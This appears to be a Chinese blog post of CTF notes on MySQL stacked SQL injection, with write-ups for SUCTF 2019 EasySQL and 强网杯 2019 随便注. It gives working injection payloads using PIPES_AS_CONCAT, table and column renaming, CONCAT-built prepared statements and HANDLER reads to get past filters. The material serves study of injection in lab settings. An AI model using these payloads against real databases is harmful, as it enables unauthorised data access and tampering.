sql注入 堆叠注入

48 篇文章 2 订阅

堆叠注入

使用multi_query()执行一条或多条sql语句,然后将结果全部输出,就会有这种漏洞

一次性执行多条查询语句

总之前面闭合,后面注释掉

xxx' ;show databases;--+
show tables
';show columns from `表名`; --+

绕过方法

连接

[SUCTF 2019]EasySQL

set sql_mode=pipes_as_concat;
依旧是要一起用的

pipes_as_concat:将导致 “||” 字符串被视为一个标准的 SQL 字符串合并操作符,而不是 “OR” 操作符的一个同义词。

堆叠注入下可以改变sql的||符号的作用,使之变成连接字符串符号,也就成为了唯一一个不需要括号就能连接字符串的方法

通过改表名和列名

当限制select 或者对flag相关字符串过滤严重时候,可以改表名,利用本来sql语句查询的表,打印flag

rename table 'xx' to 'xx';

alter table 'xx' change 'xx' 'xx2' varchar(100);
# ALTER TABLE (表名) CHANGE (要修改的列) (修改后的列名) VARCHAR(20)(类型);

[强网杯 2019]随便注

-1';
rename table `words` to `test`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);
show columns from words;--+

一定要一起用...如果words表,或者id的列没了就麻烦了
然后改表后表的结构变化了,字段(列)不一样多,所以还要重新构造查询的语句

select被过滤时

CONCAT和预编译绕过

[强网杯 2019]随便注

以堆叠注入为例
xxx';			//最前面这句话好像要报错比如写-1.后面才会执行,,,好吧是最后忘了注释掉
set @sql=CONCAT('se','lect * from [表名];');
prepare stmt from @sql;
execute stmt;
#

handler语句

handler语句并不具备select语句的所有功能,它是mysql专用的语句,并没有包含到SQL标准中。

HANDLER tbl_name OPEN [ [AS] alias]		# 打开一张表,无返回结果,实际上声明了一个名为tb1_name的句柄。

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
# 获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。

HANDLER tbl_name CLOSE					# 关闭打开的句柄。

[强网杯 2019]随便注

1';
handler `1919810931114514` open;
handler `1919810931114514` read first;-- +


也要在一次查询中运行完哦

wp

1.[SUCTF 2019]EasySQL

这道题目需要我们去对后端语句进行猜解

1、输入非零数字得到的回显 1 和输入其余字符得不到回显 => 来判断出内部的查询语句可能存在有 ||

2、也就是 select 输入的数据 || 内置的一个列名 from 表名 => 即为

后台语句为:select $post[‘query’]||flag from Flag

所以我们要解决的问题是 || 或这个问题

payload:

1;set sql_mode=PIPES_AS_CONCAT;select 1

拼接效果为:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag

关于 sql_mode : 它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的PIPES_AS_CONCAT||视为字符串的连接操作符而非 “或” 运算符

在 oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。

但在 mysql 缺省不支持。需要调整 mysql 的 sql_mode模式:pipes_as_concat 来实现 oracle 的一些功能

这个就可以解决 || 带来的问题了

select 1||flag from Flag 呢,看起来没有遇见过,但是就是相当于在表后面加一列 1

还有一个非预期解

*,1 

好像是因为没有过滤 * 而造成的,拼接后不难理解

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

shu天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值